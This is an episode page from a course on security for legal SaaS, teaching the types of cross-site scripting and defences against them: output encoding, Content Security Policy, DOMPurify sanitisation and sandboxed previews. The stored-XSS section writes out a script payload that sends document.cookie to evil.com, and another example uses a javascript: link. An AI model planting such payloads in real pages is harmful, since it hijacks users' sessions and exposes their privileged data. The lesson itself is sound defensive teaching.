Security for Legal SaaS

Episode 9 · Module 3 · App Security

Cross-Site Scripting

18 May 2026 · 9:51 · Security for Legal SaaS

0:00 9:51

SQL injection attacks your server. XSS attacks your users. Alice and Dan cover stored, reflected, and DOM-based cross-site scripting, context-aware output encoding, Content Security Policy, DOMPurify for rich text, and why legal SaaS — with its matter notes, document previews, and email rendering — has an elevated XSS attack surface.

Today’s Lesson

Security for Legal SaaS — Episode 9: Cross-Site Scripting (XSS)

The Browser Becomes the Weapon

Cross-Site Scripting (XSS) is the injection of malicious scripts into web pages viewed by other users. Unlike SQL injection — which targets your server — XSS targets your users’ browsers. OWASP ranks injection (including XSS) as A03 in the 2021 Top 10, and XSS has been the most commonly reported vulnerability class on bug bounty platforms for over a decade.

In legal SaaS, XSS is particularly dangerous because the browser has access to everything the authenticated user can see: privileged documents, case strategy, client communications. An attacker who achieves XSS can steal session tokens, read page content, and perform actions as the victim — all invisible to the user.

Key stat: XSS accounted for 18% of all vulnerabilities reported on HackerOne in 2023, making it the single most commonly discovered vulnerability class on the platform.

Three Types of XSS

Stored XSS (Persistent)

Malicious script is permanently stored on the target server — in a database field, comment, user profile, or document. Every user who views the page containing the stored payload executes the script.

Legal SaaS vector: A case note field that renders without encoding. An attacker (or compromised account) saves <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script> as a matter note. Every lawyer who opens that matter has their session token exfiltrated.

Reflected XSS (Non-Persistent)

Malicious script is reflected off the server in the immediate response — typically via a URL parameter or form submission that the server echoes back.

Legal SaaS vector: A search endpoint that reflects the search query in the results page: “You searched for: <script>...</script>”. The attacker crafts a URL and sends it to the target (phishing email to a partner with a link to “review this urgent case”).

DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript. The server never sees the payload — it’s processed by JavaScript reading from location.hash, document.referrer, or other client-side data sources and injecting it into the DOM unsafely.

Legal SaaS vector: A document preview component that reads a filename from the URL hash and inserts it into the page using innerHTML. The attacker crafts a URL with a script payload in the hash fragment.

Type Storage Server Involvement Detection Difficulty
Stored Server database Serves the payload Hard — payload may be in any stored field
Reflected URL/form data Reflects in response Medium — visible in server responses
DOM-based Client-side only None Hardest — server-side scanners miss it

Content Security Policy (CSP)

Content Security Policy is a browser mechanism that restricts which resources a page can load and execute. It’s delivered as an HTTP header:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https://api.legalapp.com

CSP Directives for Legal SaaS

Directive Recommended Value Purpose
default-src 'self' Fallback for all resource types
script-src 'self' (no 'unsafe-inline', no 'unsafe-eval') Blocks inline scripts and eval — the primary XSS defence
style-src 'self' with nonce or hash Restricts stylesheets
connect-src 'self' + specific API domains Restricts fetch/XMLHttpRequest targets
frame-src 'none' or specific embed origins Prevents clickjacking
object-src 'none' Blocks Flash, Java applets
base-uri 'self' Prevents base-tag hijacking

Google’s CSP Evaluator analyses your policy for weaknesses. Research from Google found that 94.72% of deployed CSPs in the wild were bypassable due to misconfigurations — primarily the use of 'unsafe-inline' and overly broad allowlists.

Critical: A CSP with script-src 'unsafe-inline' provides almost no XSS protection — the attacker's injected inline script is explicitly allowed. If you cannot eliminate inline scripts (legacy code), use nonces: each inline script receives a random token that must match the CSP header. Attackers cannot predict the nonce.

Legal SaaS XSS Attack Surface

Legal technology has specific features that dramatically expand XSS risk:

Rich Text Editing

Matter notes, contract annotations, legal memoranda — all require rich text. Rich text editors like TinyMCE, CKEditor, and Quill must carefully sanitise HTML output. An allowlist of permitted HTML tags and attributes is essential:

// DOMPurify — industry standard HTML sanitiser
const clean = DOMPurify.sanitize(userHTML, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'u', 'a', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'blockquote'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false
});

DOMPurify is the recommended sanitiser — maintained by cure53, a security research firm, and extensively tested against bypass techniques.

Document Previews

Displaying uploaded documents (PDF, DOCX, HTML emails) in the browser creates XSS risk if the content renders in the same origin as your application. A malicious PDF with embedded JavaScript, or an HTML email with script tags, executes in your application’s context.

Mitigations:

- Render document previews in sandboxed iframes with a different origin (preview.legalapp.com, not app.legalapp.com)

- Use sandbox attribute on iframes: <iframe sandbox="allow-same-origin">

- Convert documents to images for preview (eliminates active content entirely)

- Set X-Content-Type-Options: nosniff to prevent MIME-type sniffing

Email Rendering

Legal SaaS that displays email content (matter-linked email threads, client communications) faces severe XSS risk. Email HTML is notoriously dangerous — crafted by potentially adversarial senders.

- Strip all JavaScript before rendering

- Render in a sandboxed, cross-origin iframe

- Rewrite href attributes to proxy through your domain (prevents tracking and reduces phishing from rendered links)

- Block form elements entirely

Output Encoding by Context

The fundamental XSS defence is context-aware output encoding. The same data requires different encoding depending on where it appears in the HTML document:

Output Context Encoding Required Example
HTML body HTML entity encoding <&lt;
HTML attribute Attribute encoding (quote all values) "&quot;
JavaScript string JavaScript escape '\', or JSON.stringify
URL parameter URL/percent encoding <%3C
CSS value CSS escape (\28

OWASP’s XSS Prevention Cheat Sheet defines these rules in detail. The critical insight: HTML entity encoding alone is insufficient if user data appears in a JavaScript context, URL context, or CSS context. Each requires its own encoding function.

Auto-Escaping and Its Gaps

Modern template engines (React, Vue, Angular, Jinja2, Handlebars) auto-escape by default. React’s JSX treats all expressions as text unless you explicitly use dangerouslySetInnerHTML. This eliminates the majority of XSS vulnerabilities.

Where Auto-Escaping Fails

Gap Framework Feature Risk
Raw HTML insertion React: dangerouslySetInnerHTML; Vue: v-html Renders unsanitised HTML directly
href and src attributes <a href={userInput}> javascript:alert(1) executes on click
Event handlers <div onClick={...}> with user data Arbitrary code execution
Server-side rendering (SSR) Hydration mismatches Client renders differently than server
Template literals `
${userInput}
`
No escaping in template strings
// UNSAFE — React's escape hatch
<div dangerouslySetInnerHTML={{ __html: userProvidedHTML }} />

// SAFE — sanitise before rendering
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userProvidedHTML) }} />

For href attributes, always validate the URL scheme:

function safeHref(url) {
  const parsed = new URL(url, window.location.origin);
  if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
    return '#'; // Block javascript:, data:, vbscript: schemes
  }
  return url;
}

XSS Impact in Legal SaaS

Attack Mechanism Consequence
Session hijacking Steal session cookie via document.cookie Full account takeover
Keylogging Inject keylogger script on login page Credential theft
Document exfiltration Read DOM content of privileged documents Privilege breach
Phishing overlay Inject fake login modal Credential harvesting
Privilege escalation Perform admin actions as the victim Tenant-wide compromise
Worm propagation XSS that copies itself into other stored fields Viral spread across all users

The Samy worm (2005)) demonstrated that stored XSS can propagate virally — infected profiles automatically infecting viewers’ profiles. In a legal SaaS context, a stored XSS worm in matter notes could spread across every matter a lawyer views, exfiltrating privileged content at scale.

Defence Checklist

1. Output encode by context — HTML, attribute, JavaScript, URL, CSS each need different encoding

2. Use auto-escaping frameworks — React, Vue, Angular do this by default

3. Sanitise rich text with DOMPurify — allowlist permitted tags and attributes

4. Deploy strict CSP — no 'unsafe-inline', no 'unsafe-eval', use nonces

5. Sandbox document previews — cross-origin iframes for untrusted content

6. Validate URL schemes — block javascript:, data:, vbscript:

7. Set security headersX-Content-Type-Options: nosniff, X-Frame-Options

8. HttpOnly cookies — prevents JavaScript access to session tokens

9. Audit dangerouslySetInnerHTML / v-html — every instance needs DOMPurify

10. CSP reporting — deploy in report-only first, then enforce. Report-URI provides monitoring

Conclusion

XSS turns your users’ browsers into attack platforms operating within your application’s trust domain. Legal SaaS is particularly vulnerable because the product necessarily handles rich text, document previews, and email content — all XSS amplifiers. Context-aware encoding, strict CSP, and HTML sanitisation form the defence triad. Auto-escaping frameworks handle 90% of cases; the remaining 10% — raw HTML, dynamic URLs, document rendering — demands deliberate attention.

Next episode: File Upload Security — where we examine what happens when users upload files that aren’t what they claim to be.

Sources & references

  1. OWASP Top 10:2021, "A03 Injection."
  2. PortSwigger, "Cross-site scripting (XSS)." Comprehensive tutorial
  3. HackerOne, "Top 10 Most Impactful Vulnerability Categories," 2023
  4. Mozilla Developer Network, "Content Security Policy (CSP)."
  5. Google, "CSP Evaluator." Online tool for analysing Content Security Policies
  6. Weichselbaum et al., "CSP Is Dead, Long Live CSP!" Google Research, 2016. Found 94.72% of CSPs bypassable
  7. OWASP, "Cross-Site Scripting Prevention Cheat Sheet."
  8. cure53, "DOMPurify." XSS-safe HTML sanitiser
  9. Mozilla Developer Network, "X-Content-Type-Options."
  10. PortSwigger Research, "Breaking out of a sandboxed iframe."
  11. React Documentation, "JSX Prevents Injection Attacks."
  12. Wikipedia, "Samy (computer worm)." First major XSS worm, 2005
  13. Report URI, CSP reporting and monitoring service